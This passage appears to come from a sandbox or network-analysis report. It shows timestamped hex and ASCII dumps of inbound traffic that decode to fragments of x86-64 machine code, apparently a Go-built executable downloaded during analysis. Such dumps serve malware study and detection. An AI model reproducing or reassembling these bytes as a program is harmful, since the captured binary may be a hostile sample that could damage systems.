48 8b 6c 24 48 48 83 c4 50 c3 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 e8 34 fd d8 ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 0f 1f 44 00 00 e9 bb fe ff ff cc cc cc cc cc Data Ascii: \|$@HGHG=NuH HD$XHL$hHH\$`HrLFLHzL9sIH"LHLH\|$@HO=NuH HL$hHIHHD$XH\$`LFLBHvI\ILI<=ONuIR Hl$HHPHD$H\$HL$4HD$H\$HL$D
2023-01-25 20:04:35 UTC	2924	IN	Data Raw: 00 00 48 85 d2 0f 84 4d 05 00 00 48 83 b8 c0 00 00 00 00 66 90 0f 85 ad 04 00 00 44 0f 11 bc 24 18 01 00 00 44 0f 11 bc 24 20 01 00 00 44 0f 11 bc 24 30 01 00 00 44 0f 11 bc 24 40 01 00 00 44 0f 11 bc 24 50 01 00 00 48 8d 05 a6 34 19 00 e8 e1 62 d3 ff 48 8b b4 24 90 02 00 00 48 8b 4e 68 48 8b 56 60 48 89 10 83 3d 97 59 4e 00 00 75 07 48 89 48 08 90 eb 09 48 8d 78 08 e8 95 e1 d8 ff 48 89 84 24 18 01 00 00 48 c7 84 24 20 01 00 00 01 00 00 00 48 c7 84 24 28 01 00 00 01 00 00 00 48 8b 96 b8 00 00 00 48 89 94 24 50 01 00 00 48 83 be b8 00 00 00 00 75 15 48 c7 84 24 18 01 00 00 00 00 00 00 44 0f 11 bc 24 20 01 00 00 48 8d bc 24 20 02 00 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 fc ea d8 ff 48 8b 6d 00 48 8b 94 24 90 02 00 00 4c 8b 42 38 4c 8b 4a 40 4c 8b 94 24 20 02 Data Ascii: HMHfD$D$ D$0D$@D$PH4bH$HNhHV`H=YNuHHHxH$H$ H$(HH$PHuH$D$ H$ Hl$Hl$HmH$LB8LJ@L$
2023-01-25 20:04:35 UTC	2940	IN	Data Raw: 15 30 78 29 00 4c 89 14 0b 48 8d 3c 0b 48 8d 7f 08 83 3d ed 19 4e 00 00 75 0e 4c 8d 3d 9c a1 13 00 4c 89 7c 0b 08 eb 15 4c 89 c1 4c 8d 05 8b a1 13 00 0f 1f 00 e8 5b a2 d8 ff 49 89 c8 49 ff cb e9 84 3a 00 00 c7 44 24 74 00 00 00 00 c7 44 24 74 0b 00 00 00 48 8d 5c 24 74 b9 01 00 00 00 48 89 cf 89 c6 4c 89 c0 e8 49 47 00 00 48 8b 94 24 c8 00 00 00 48 ff ca 49 89 d0 48 f7 da 48 c1 fa 3f 83 e2 04 4c 8b 8c 24 e0 01 00 00 4c 01 ca 48 8b b4 24 00 06 00 00 4c 8d 4e 01 4c 8b 94 24 f8 05 00 00 48 8b bc 24 08 06 00 00 4c 39 cf 73 6b 48 89 84 24 d8 03 00 00 4c 89 84 24 a0 01 00 00 48 89 94 24 c0 03 00 00 48 89 9c 24 40 02 00 00 48 8d 05 1e 99 1b 00 4c 89 d3 48 89 f1 4c 89 ce e8 70 04 d7 ff 48 89 8c 24 08 06 00 00 48 89 84 24 f8 05 00 00 48 8b 94 24 c0 03 00 00 4c 8b Data Ascii: 0x)LH<H=NuL=L\|LL[II:D$tD$tH\$tHLIGH$HIHH?L$LH$LNL$H$L9skH$L$H$H$@HLHLpH$H$H$L
2023-01-25 20:04:35 UTC	2956	IN	Data Raw: b1 36 29 00 48 8b ac 24 e8 06 00 00 48 81 c4 f0 06 00 00 c3 48 89 c1 ba 04 00 00 00 e8 d4 65 d8 ff bb 22 00 00 00 48 89 c1 48 89 fe 48 8d 05 65 0e 20 00 48 89 d7 e8 ba 4c ff ff 48 89 84 24 98 04 00 00 48 89 9c 24 a0 04 00 00 48 89 8c 24 a8 04 00 00 48 89 bc 24 b0 04 00 00 48 8d 05 d3 a8 1b 00 48 8d 9c 24 98 04 00 00 e8 86 b7 d2 ff 48 89 c3 48 8d 05 bc a8 1b 00 e8 b7 82 d5 ff 49 ff cb 4d 89 dd 49 f7 db 49 c1 fb 3f 41 83 e3 04 4d 01 da 49 ff cc 4d 89 eb 4d 85 e4 0f 84 79 02 00 00 4c 89 9c 24 c8 00 00 00 4c 89 a4 24 b8 00 00 00 4c 89 94 24 e0 01 00 00 48 89 8c 24 30 01 00 00 45 8b 2a 41 83 fd 55 0f 8f a7 00 00 00 41 83 fd 2d 75 14 90 48 83 f9 01 0f 85 bb 02 00 00 48 c7 c1 ff ff ff ff eb 96 41 83 fd 3a 0f 84 01 02 00 00 0f 1f 00 41 83 fd 55 0f 85 3a 02 00 00 Data Ascii: 6)H$HHe"HHHe HLH$H$H$H$HH$HHIMII?AMIMMyL$L$L$H$0E*AUA-uHHA:AU:
2023-01-25 20:04:35 UTC	2972	IN	Data Raw: 84 24 18 01 00 00 48 c1 e6 04 4c 8d 05 64 ce 28 00 4c 89 04 32 4c 8d 0c 32 4d 8d 49 08 83 3d e1 99 4d 00 00 75 07 48 89 44 32 08 eb 10 48 89 fb 4c 89 cf 66 90 e8 db 20 d8 ff 48 89 df 48 8b 84 24 e8 00 00 00 48 8b 5c 24 68 48 8b b4 24 f8 00 00 00 4c 8d 15 6c 97 4d 00 4c 8b 9c 24 f0 00 00 00 4c 8b 64 24 60 4c 8b 6c 24 78 49 89 cf 49 89 d1 48 8b 8c 24 20 01 00 00 48 8b 54 24 70 e9 12 0c 00 00 4c 8b 84 24 00 01 00 00 41 81 38 5e 62 6c 61 0f 1f 00 0f 85 1f 01 00 00 66 41 81 78 04 6e 6b 0f 85 12 01 00 00 48 8d 0d a6 cc 28 00 48 89 8c 24 28 01 00 00 48 8d 15 07 97 4d 00 48 89 94 24 30 01 00 00 48 8d 05 c8 19 1b 00 48 8d 9c 24 28 01 00 00 e8 1b 77 d2 ff 48 8b b4 24 90 00 00 00 48 8d 4e 01 48 8b bc 24 98 00 00 00 48 39 cf 72 0a 48 8b 94 24 08 01 00 00 eb 42 48 89 Data Ascii: $HLd(L2L2MI=MuHD2HLf HH$H\$hH$LlML$Ld$`Ll$xIIH$ HT$pL$A8^blafAxnkH(H$(HMH$0HH$(wH$HNH$H9rH$BH
2023-01-25 20:04:35 UTC	2988	IN	Data Raw: 89 cf 48 8b 74 24 28 48 89 d9 48 89 c3 48 8b 44 24 30 0f 1f 00 e8 fb 06 00 00 48 8b 6c 24 38 48 83 c4 40 c3 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 48 89 7c 24 20 e8 78 be d7 ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 48 8b 7c 24 20 eb 82 cc cc 4c 8d 64 24 c0 4d 3b 66 10 0f 86 ba 02 00 00 48 81 ec c0 00 00 00 48 89 ac 24 b8 00 00 00 48 8d ac 24 b8 00 00 00 48 89 9c 24 d0 00 00 00 48 89 bc 24 80 00 00 00 48 89 84 24 b0 00 00 00 31 c0 e8 db 85 d6 ff 48 89 cf 48 8b b4 24 80 00 00 00 48 89 d9 48 89 c3 48 8b 84 24 b0 00 00 00 66 90 e8 9b 02 00 00 48 85 db 74 12 48 89 9c 24 80 00 00 00 31 c9 31 d2 31 f6 31 ff eb 26 31 c0 31 c9 31 d2 48 89 c3 48 89 d0 48 8b ac 24 b8 00 00 00 48 81 c4 c0 00 00 00 c3 48 83 c0 18 48 89 d1 4c 89 da 48 89 4c 24 78 48 89 84 Data Ascii: Ht$(HHHD$0Hl$8H@HD$H\$HL$H\|$ xHD$H\$HL$H\|$ Ld$M;fHH$H$H$H$H$1HH$HHH$fHtH$1111&111HHH$HHHLHL$xH
2023-01-25 20:04:35 UTC	3004	IN	Data Raw: 85 e4 0f 85 e7 00 00 00 48 85 c0 0f 84 c3 00 00 00 0f 10 00 0f 11 44 24 18 0f 10 40 10 0f 11 44 24 28 48 8d 7c 24 40 48 8d b4 24 b0 00 00 00 66 0f 1f 44 00 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 9d ab d7 ff 48 8b 6d 00 48 8d 05 26 ec 1c 00 e8 e1 22 d2 ff 83 3d aa 19 4d 00 00 75 2d 48 89 c7 48 8d 74 24 40 66 0f 1f 84 00 00 00 00 00 0f 1f 80 00 00 00 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 5d ab d7 ff 48 8b 6d 00 eb 1e 48 89 44 24 38 48 89 c3 48 8d 4c 24 40 48 8d 05 f7 a7 1c 00 e8 92 87 d2 ff 48 8b 44 24 38 0f 10 44 24 18 0f 11 40 60 0f 10 44 24 28 0f 11 40 70 48 89 c3 48 8d 05 51 42 28 00 48 8b ac 24 a0 00 00 00 48 81 c4 a8 00 00 00 c3 90 e8 9b e3 d1 ff 90 48 89 44 24 68 e8 d0 7d d7 ff 48 8b 44 24 68 e9 e6 fe ff ff 4c 8d ac 24 b0 00 00 00 4d 39 2c 24 0f 85 07 ff Data Ascii: HD$@D$(H\|$@H$fDHl$Hl$HmH&"=Mu-HHt$@fHl$Hl$]HmHD$8HHL$@HHD$8D$@`D$(@pHHQB(H$HHD$h}HD$hL$M9,$
2023-01-25 20:04:35 UTC	3020	IN	Data Raw: 8b 5c 24 10 48 8b 4c 24 18 eb aa 4c 8d 6c 24 28 0f 1f 44 00 00 4d 39 2c 24 75 b7 49 89 24 24 eb b1 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 2b 48 83 ec 20 48 89 6c 24 18 48 8d 6c 24 18 4d 8b 66 20 4d 85 e4 75 39 48 89 5c 24 30 e8 f9 18 fe ff 48 8b 6c 24 18 48 83 c4 20 c3 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 e8 3b 3e d7 ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 eb aa 4c 8d 6c 24 28 0f 1f 44 00 00 4d 39 2c 24 75 b7 49 89 24 24 eb b1 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 2b 48 83 ec 20 48 89 6c 24 18 48 8d 6c 24 18 4d 8b 66 20 4d 85 e4 75 39 48 89 5c 24 30 e8 19 2c fe ff 48 8b 6c 24 18 48 83 c4 20 c3 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 e8 bb 3d d7 ff 48 8b 44 24 08 Data Ascii: \$HL$Ll$(DM9,$uI$$I;fv+H Hl$Hl$Mf Mu9H\$0Hl$H HD$H\$HL$;>HD$H\$HL$Ll$(DM9,$uI$$I;fv+H Hl$Hl$Mf Mu9H\$0,Hl$H HD$H\$HL$=HD$
2023-01-25 20:04:35 UTC	3036	IN	Data Raw: 0b 2b d7 ff 48 8b 6d 00 48 8b 94 24 28 05 00 00 48 8b b4 24 30 05 00 00 48 89 94 24 b8 02 00 00 48 89 b4 24 c0 02 00 00 48 8b 94 24 18 05 00 00 48 8b b4 24 20 05 00 00 48 89 94 24 d8 02 00 00 48 89 b4 24 e0 02 00 00 48 8b 94 24 28 04 00 00 48 8b b4 24 30 04 00 00 48 89 94 24 f8 02 00 00 48 89 b4 24 00 03 00 00 48 8b 94 24 38 05 00 00 48 8b b4 24 40 05 00 00 48 89 94 24 18 03 00 00 48 89 b4 24 20 03 00 00 48 8b 94 24 58 05 00 00 48 8b b4 24 60 05 00 00 48 89 94 24 38 03 00 00 48 89 b4 24 40 03 00 00 48 8b 94 24 78 05 00 00 48 8b b4 24 80 05 00 00 48 89 94 24 58 03 00 00 48 89 b4 24 60 03 00 00 48 8b 94 24 68 05 00 00 48 8b b4 24 70 05 00 00 48 89 94 24 78 03 00 00 48 89 b4 24 80 03 00 00 48 8b 94 24 48 05 00 00 48 8b b4 24 50 05 00 00 48 89 94 24 98 03 00 Data Ascii: +HmH$(H$0H$H$H$H$ H$H$H$(H$0H$H$H$8H$@H$H$ H$XH$`H$8H$@H$xH$H$XH$`H$hH$pH$xH$H$HH$PH$
2023-01-25 20:04:35 UTC	3052	IN	Data Raw: 24 60 48 89 4c 24 48 48 8d 34 18 4c 89 cb 48 89 f0 48 89 d1 90 e8 3b ef d6 ff 48 8b 44 24 60 48 8b 5c 24 50 48 8b 4c 24 48 bf 01 00 00 00 48 8b 6c 24 68 48 83 c4 70 c3 31 c0 31 db 48 89 d9 31 ff 48 8b 6c 24 68 48 83 c4 70 c3 f2 0f 10 06 bf 67 00 00 00 48 c7 c6 ff ff ff ff 41 b8 40 00 00 00 e8 6f 19 d8 ff bf 01 00 00 00 48 8b 6c 24 68 48 83 c4 70 90 c3 f3 0f 10 0e f3 0f 5a c1 bf 67 00 00 00 48 c7 c6 ff ff ff ff 41 b8 20 00 00 00 0f 1f 44 00 00 e8 3b 19 d8 ff bf 01 00 00 00 48 8b 6c 24 68 48 83 c4 70 c3 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 48 89 7c 24 20 48 89 74 24 28 4c 89 44 24 30 e8 e9 bd d6 ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 48 8b 7c 24 20 48 8b 74 24 28 4c 8b 44 24 30 e9 06 fd ff ff cc cc cc cc cc cc 49 3b 66 10 0f 86 66 01 00 00 Data Ascii: $`HL$HH4LHH;HD$`H\$PHL$HHl$hHp11H1Hl$hHpgHA@oHl$hHpZgHA D;Hl$hHpHD$H\$HL$H\|$ Ht$(LD$0HD$H\$HL$H\|$ Ht$(LD$0I;ff
2023-01-25 20:04:35 UTC	3068	IN	Data Raw: c8 e8 af fd ff ff 48 8b 6c 24 20 48 83 c4 28 c3 48 89 44 24 08 48 89 5c 24 10 e8 96 7e d6 ff 48 8b 44 24 08 48 8b 5c 24 10 e9 07 ff ff ff cc cc cc cc cc cc cc 49 3b 66 10 0f 86 c7 00 00 00 48 83 ec 28 48 89 6c 24 20 48 8d 6c 24 20 48 89 44 24 30 48 89 c1 31 c0 ba 01 00 00 00 f0 0f b1 51 20 0f 94 c2 48 85 db be 00 00 00 00 48 0f 4c de 48 89 5c 24 10 48 8d 41 20 48 89 44 24 18 84 d2 75 14 e8 4e 49 d7 ff 48 8b 44 24 18 48 8b 4c 24 30 48 8b 5c 24 10 48 85 db 7e 32 48 39 99 88 00 00 00 7e 29 48 8b 91 98 00 00 00 48 85 d2 74 1d 48 89 d0 48 8d 5c 24 10 e8 78 b8 d0 ff 84 c0 74 02 eb 00 48 8b 4c 24 30 48 8b 5c 24 10 48 89 99 88 00 00 00 48 89 c8 e8 f9 01 00 00 90 bb ff ff ff ff 48 8b 4c 24 30 f0 0f c1 59 20 ff cb 85 db 74 0a 48 8b 44 24 18 e8 d9 4b d7 ff 48 8b 6c Data Ascii: Hl$ H(HD$H\$~HD$H\$I;fH(Hl$ Hl$ HD$0H1Q HHLH\$HA HD$uNIHD$HL$0H\$H~2H9~)HHtHH\$xtHL$0H\$HHHL$0Y tHD$KHl
2023-01-25 20:04:35 UTC	3084	IN	Data Raw: 49 8b 51 28 4d 8b 49 30 48 89 d0 4c 89 cb 31 c9 0f 1f 44 00 00 e8 bb 4f ff ff 48 8b 94 24 a8 00 00 00 48 89 5a 08 48 89 4a 10 83 3d d4 d9 4b 00 00 75 05 48 89 02 eb 0e 48 89 f9 48 89 d7 e8 d2 60 d6 ff 48 89 cf 4c 8b 9c 24 b0 00 00 00 49 89 3b 49 8d 7b 08 83 3d a9 d9 4b 00 00 75 06 49 89 73 08 eb 05 e8 0c 62 d6 ff 49 83 3b 00 0f 85 bd 00 00 00 48 89 bc 24 98 00 00 00 4c 8b 1a 4c 8b 62 08 48 8b 52 10 4c 89 1c 24 4c 89 64 24 08 48 89 54 24 10 48 8b 44 24 70 48 8b 9c 24 90 00 00 00 48 8b 4c 24 60 48 8b bc 24 80 00 00 00 48 8b 74 24 68 4c 8b 84 24 88 00 00 00 4c 8b 4c 24 78 4c 8b 54 24 58 e8 4b 83 ff ff 48 8b 94 24 a0 00 00 00 48 89 02 83 3d 29 d9 4b 00 00 75 06 48 89 5a 08 eb 12 48 8d 42 08 48 89 fa 48 89 c7 e8 62 61 d6 ff 48 89 d7 48 8b 84 24 b0 00 00 00 48 Data Ascii: IQ(MI0HL1DOH$HZHJ=KuHHH`HL$I;I{=KuIsbI;H$LLbHRL$Ld$HT$HD$pH$HL$`H$Ht$hL$LL$xLT$XKH$H=)KuHZHBHHbaHH$H
2023-01-25 20:04:35 UTC	3100	IN	Data Raw: 83 ec 60 48 89 6c 24 58 48 8d 6c 24 58 48 89 5c 24 70 48 89 4c 24 78 48 89 bc 24 80 00 00 00 4c 89 84 24 90 00 00 00 e8 e9 fd ff ff 48 89 44 24 40 48 89 5c 24 50 48 89 4c 24 48 48 8d 05 13 3f 19 00 e8 ee a2 d0 ff 83 3d b7 99 4b 00 00 75 0b 48 8b 4c 24 40 48 89 48 10 eb 0e 48 8d 78 10 48 8b 4c 24 40 e8 ac 21 d6 ff 48 8b 4c 24 50 48 89 08 83 3d 8d 99 4b 00 00 75 0b 48 8b 4c 24 48 48 89 48 08 eb 0e 48 8d 78 08 48 8b 4c 24 48 e8 82 21 d6 ff 48 8b 6c 24 58 48 83 c4 60 c3 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 48 89 7c 24 20 48 89 74 24 28 4c 89 44 24 30 4c 89 4c 24 38 4c 89 54 24 40 e8 eb fd d5 ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 48 8b 7c 24 20 48 8b 74 24 28 4c 8b 44 24 30 4c 8b 4c 24 38 4c 8b 54 24 40 0f 1f 00 e9 fb fe ff ff cc cc cc cc cc Data Ascii: `Hl$XHl$XH\$pHL$xH$L$HD$@H\$PHL$HH?=KuHL$@HHHxHL$@!HL$PH=KuHL$HHHHxHL$H!Hl$XH`HD$H\$HL$H\|$ Ht$(LD$0LL$8LT$@HD$H\$HL$H\|$ Ht$(LD$0LL$8LT$@
2023-01-25 20:04:35 UTC	3116	IN	Data Raw: 48 8b ac 24 d8 00 00 00 48 81 c4 e0 00 00 00 c3 48 8d 05 1e 6e 18 00 e8 19 63 d0 ff 48 c7 40 08 25 00 00 00 48 8d 0d bb a9 1d 00 48 89 08 48 89 c3 48 8d 05 1d 82 26 00 48 8b ac 24 d8 00 00 00 48 81 c4 e0 00 00 00 c3 31 c0 31 db 48 8b ac 24 d8 00 00 00 48 81 c4 e0 00 00 00 c3 4c 8b 8c 24 80 00 00 00 49 83 c1 10 48 8b 84 24 e8 00 00 00 48 8b 9c 24 f0 00 00 00 48 89 d1 4d 89 c8 48 89 4c 24 30 4c 89 84 24 80 00 00 00 49 8b 10 49 8b 78 08 48 c1 e1 04 48 89 4c 24 48 4c 8b 14 0b 4c 8b 5c 0b 08 48 89 c6 4c 89 d0 4c 89 db 48 89 d1 0f 1f 44 00 00 e8 3b d7 fe ff 48 85 c0 75 1b 48 8b 54 24 30 48 ff c2 4c 8b 44 24 50 49 39 d0 7f 8b 0f 1f 40 00 e9 6e ff ff ff 48 89 5c 24 68 48 89 44 24 38 48 8b 8c 24 e8 00 00 00 48 8b 51 10 48 8b 41 18 48 8b 4a 20 ff d1 48 89 44 24 78 Data Ascii: H$HHncH@%HHHH&H$H11H$HL$IH$H$HMHL$0L$IIxHHL$HLL\HLLHD;HuHT$0HLD$PI9@nH\$hHD$8H$HQHAHJ HD$x
2023-01-25 20:04:35 UTC	3132	IN	Data Raw: 7c 24 70 48 8d 05 0b 80 1b 00 48 8d 8c 24 48 02 00 00 0f 1f 00 e8 1b 88 d0 ff 48 8b 84 24 d0 00 00 00 48 8b 54 24 78 48 8b 5c 24 70 b9 01 00 00 00 0f 1f 40 00 e9 87 fc ff ff 84 c0 0f 84 99 00 00 00 48 8b 94 24 98 00 00 00 48 83 3a 00 75 2c 48 8b 94 24 08 03 00 00 48 8b 5a 18 48 8d 05 12 54 17 00 48 8b 8c 24 b8 00 00 00 48 8b 7c 24 60 0f 1f 44 00 00 e8 7b 7f d0 ff eb 4d 48 8b 94 24 08 03 00 00 48 8b 5a 18 48 8d 05 e6 53 17 00 48 8b 8c 24 b8 00 00 00 48 8b 7c 24 60 e8 34 7b d0 ff 84 00 83 3d 5b 19 4b 00 00 75 0d 48 8b 94 24 98 00 00 00 48 89 10 eb 10 48 89 c7 48 8b 94 24 98 00 00 00 e8 6c a1 d5 ff 48 8b 4c 24 48 48 8b 5c 24 50 48 8b b4 24 a0 00 00 00 48 89 f0 48 89 da 48 89 cb 48 89 d1 e8 29 fa cf ff 44 0f 11 bc 24 20 01 00 00 44 0f 11 bc 24 30 01 00 00 48 Data Ascii: \|$pHH$HH$HT$xH\$p@H$H:u,H$HZHTH$H\|$`D{MH$HZHSH$H\|$`4{=[KuH$HHH$lHL$HH\$PH$HHHH)D$ D$0H
2023-01-25 20:04:35 UTC	3148	IN	Data Raw: b1 90 15 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 e8 f8 42 cf ff 48 8d 05 31 e7 14 00 48 8b 5c 24 38 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 e8 d3 42 cf ff 8b 44 24 40 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 e8 16 b9 cf ff 48 89 c3 48 8d 05 4c 90 15 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 e8 93 42 cf ff 48 8b 6c 24 18 48 83 c4 20 c3 e8 24 3e d5 ff 0f 1f 40 00 e9 9b fe ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 49 3b 66 10 0f 86 ed 01 00 00 48 83 ec 20 48 89 6c 24 18 48 8d 6c 24 18 c7 44 24 60 00 00 00 00 48 8d 5c 24 28 48 89 5c 24 10 48 8b 05 bf 44 12 00 45 0f 57 ff 65 4c 8b 34 25 Data Ascii: EWeL4%(MBH1H\$8EWeL4%(MBD$@EWeL4%(MHHLEWeL4%(MBHl$H $>@eL4%(MI;fH Hl$Hl$D$`H\$(H\$HDEWeL4%
2023-01-25 20:04:35 UTC	3164	IN	Data Raw: 83 c4 20 c3 e8 ac fe d4 ff e9 67 ff ff ff cc cc cc cc cc cc cc 49 3b 66 10 0f 86 bb 01 00 00 48 83 c4 80 48 89 6c 24 78 48 8d 6c 24 78 48 89 9c 24 90 00 00 00 44 0f 11 7c 24 68 48 89 b4 24 a8 00 00 00 4c 89 84 24 b0 00 00 00 48 89 7c 24 50 48 89 84 24 88 00 00 00 c6 44 24 27 00 48 c7 44 24 30 00 00 00 00 44 0f 11 7c 24 58 48 89 d8 48 89 cb 0f 1f 00 e8 1b bc ff ff 48 89 44 24 40 e8 b1 03 00 00 48 89 44 24 70 c6 44 24 27 01 48 8b 84 24 a8 00 00 00 48 8b 9c 24 b0 00 00 00 e8 f2 bb ff ff 48 89 44 24 38 e8 88 02 00 00 48 89 44 24 68 c6 44 24 27 03 48 8b 84 24 88 00 00 00 48 8b 5c 24 40 48 8b 4c 24 50 48 8b 7c 24 38 e8 62 01 00 00 66 90 48 85 c0 0f 84 83 00 00 00 48 89 44 24 28 48 8d 05 cb af 17 00 e8 46 a2 cf ff 48 89 44 24 48 48 8b 4c 24 28 48 89 08 48 89 c3 Data Ascii: gI;fHHl$xHl$xH$D\|$hH$L$H\|$PH$D$'HD$0D\|$XHHHD$@HD$pD$'H$H$HD$8HD$hD$'H$H\$@HL$PH\|$8bfHHD$(HFHD$HHL$(HH
2023-01-25 20:04:35 UTC	3180	IN	Data Raw: e9 10 ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 31 c0 31 db c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 67 01 00 00 48 83 ec 50 48 89 6c 24 48 48 8d 6c 24 48 48 89 5c 24 60 48 89 4c 24 68 48 89 44 24 28 90 48 89 fa 83 e7 1f 48 89 7c 24 20 48 83 ff 14 77 18 48 8d 77 ee 0f 1f 00 48 83 fe 01 76 2b 48 83 ff 14 74 11 e9 e9 00 00 00 48 83 ff 16 76 1a 48 83 ff 17 75 0a 48 83 39 00 40 0f 94 c6 eb 25 48 83 ff 1a 0f 85 c9 00 00 00 0f ba e2 09 72 1e 0f ba e2 07 73 05 48 8b 31 eb 03 48 89 ce 48 85 f6 40 0f 94 c6 40 84 f6 0f 85 92 00 00 00 48 89 4c 24 40 48 89 5c 24 38 48 89 54 24 20 48 89 d8 48 89 cb 48 89 d1 e8 6e b7 d7 ff 48 85 c9 74 12 0f ba e1 09 72 0c 48 89 c3 48 8d 05 39 e5 25 00 eb 05 e8 Data Ascii: 11I;fgHPHl$HHl$HH\$`HL$hHD$(HH\|$ HwHwHv+HtHvHuH9@%HrsH1HH@@HL$@H\$8HT$ HHHnHtrHH9%
2023-01-25 20:04:35 UTC	3196	IN	Data Raw: 00 4d 8b b6 00 00 00 00 8b 44 24 08 48 8b 6c 24 20 48 83 c4 28 c3 48 89 44 24 08 e8 95 7e d4 ff 48 8b 44 24 08 eb 8e cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 5b 48 83 ec 28 48 89 6c 24 20 48 8d 6c 24 20 48 89 44 24 30 e8 a2 f9 ce ff 48 89 c3 31 c9 31 ff 48 8d 05 f4 27 14 00 e8 cf 8a ce ff 48 8b 4c 24 30 48 89 0c 24 e8 e1 65 ff ff 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 8b 44 24 08 48 8b 6c 24 20 48 83 c4 28 c3 48 89 44 24 08 e8 15 7e d4 ff 48 8b 44 24 08 eb 8e cc cc cc cc cc cc cc cc cc cc cc cc cc cc 4c 8d 64 24 f8 4d 3b 66 10 0f 86 7f 01 00 00 48 81 ec 88 00 00 00 48 89 ac 24 80 00 00 00 48 8d ac 24 80 00 00 00 48 89 b4 24 b0 00 00 00 48 89 bc 24 a8 00 00 00 48 89 44 24 78 48 89 9c 24 98 00 00 00 48 89 8c 24 a0 00 00 Data Ascii: MD$Hl$ H(HD$~HD$I;fv[H(Hl$ Hl$ HD$0H11H'HL$0H$eEWeL4%(MD$Hl$ H(HD$~HD$Ld$M;fHH$H$H$H$HD$xH$H$
2023-01-25 20:04:35 UTC	3212	IN	Data Raw: 00 00 48 89 9c 24 48 04 00 00 e8 e6 76 d1 ff 48 8b 84 24 50 04 00 00 48 8b 8c 24 40 04 00 00 48 8b 9c 24 58 04 00 00 48 8b bc 24 48 04 00 00 48 8b ac 24 20 06 00 00 48 81 c4 28 06 00 00 c3 48 83 fb 07 0f 85 57 04 00 00 8b 10 66 0f 1f 84 00 00 00 00 00 90 81 fa 53 53 48 41 0f 85 6d 01 00 00 66 81 78 04 32 35 0f 85 5b 01 00 00 80 78 06 36 0f 1f 40 00 0f 85 45 01 00 00 48 8b 9c 24 f0 01 00 00 48 85 db 0f 84 ce 00 00 00 48 8b 84 24 20 04 00 00 90 e8 db eb fe ff 48 8d 1d 7c 5e 1b 00 b9 0c 00 00 00 48 8d 3d e8 60 15 00 48 89 c6 41 b8 01 00 00 00 48 8b 84 24 10 04 00 00 e8 92 9e ff ff 48 85 c0 0f 84 d4 03 00 00 44 0f 11 bc 24 70 04 00 00 74 04 48 8b 40 08 48 89 84 24 70 04 00 00 48 89 9c 24 78 04 00 00 48 8d 05 ca a8 1b 00 bb 17 00 00 00 48 8d 8c 24 70 04 00 00 Data Ascii: H$HvH$PH$@H$XH$HH$ H(HWfSSHAmfx25[x6@EH$HH$ H\|^H=`HAH$HD$ptH@H$pH$xHH$p
2023-01-25 20:04:35 UTC	3228	IN	Data Raw: 48 89 7c 24 60 89 5c 24 2c 48 89 4c 24 58 e8 e2 79 ce ff 48 89 c3 31 c9 31 ff 48 8d 05 f4 a8 13 00 e8 0f 0b ce ff 48 8b 4c 24 30 48 89 0c 24 8b 4c 24 2c 89 4c 24 08 48 8b 4c 24 58 48 89 4c 24 10 48 8b 4c 24 60 89 4c 24 18 e8 e6 be fe ff 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 8b 44 24 20 48 8b 6c 24 38 48 83 c4 40 c3 31 c0 48 89 c1 e8 3a 25 d4 ff 90 48 89 44 24 08 89 5c 24 10 48 89 4c 24 18 48 89 7c 24 20 48 89 74 24 28 90 e8 1b fe d3 ff 48 8b 44 24 08 8b 5c 24 10 48 8b 4c 24 18 48 8b 7c 24 20 48 8b 74 24 28 0f 1f 00 e9 1b ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 d6 00 00 00 48 83 ec 48 48 89 6c 24 40 48 8d 6c 24 40 48 8b 40 10 48 8b 11 48 83 79 08 00 0f 86 ab 00 00 00 Data Ascii: H\|$`\$,HL$XyH11HHL$0H$L$,L$HL$XHL$HL$`L$EWeL4%(MD$ Hl$8H@1H:%HD$\$HL$H\|$ Ht$(HD$\$HL$H\|$ Ht$(I;fHHHl$@Hl$@H@HHy
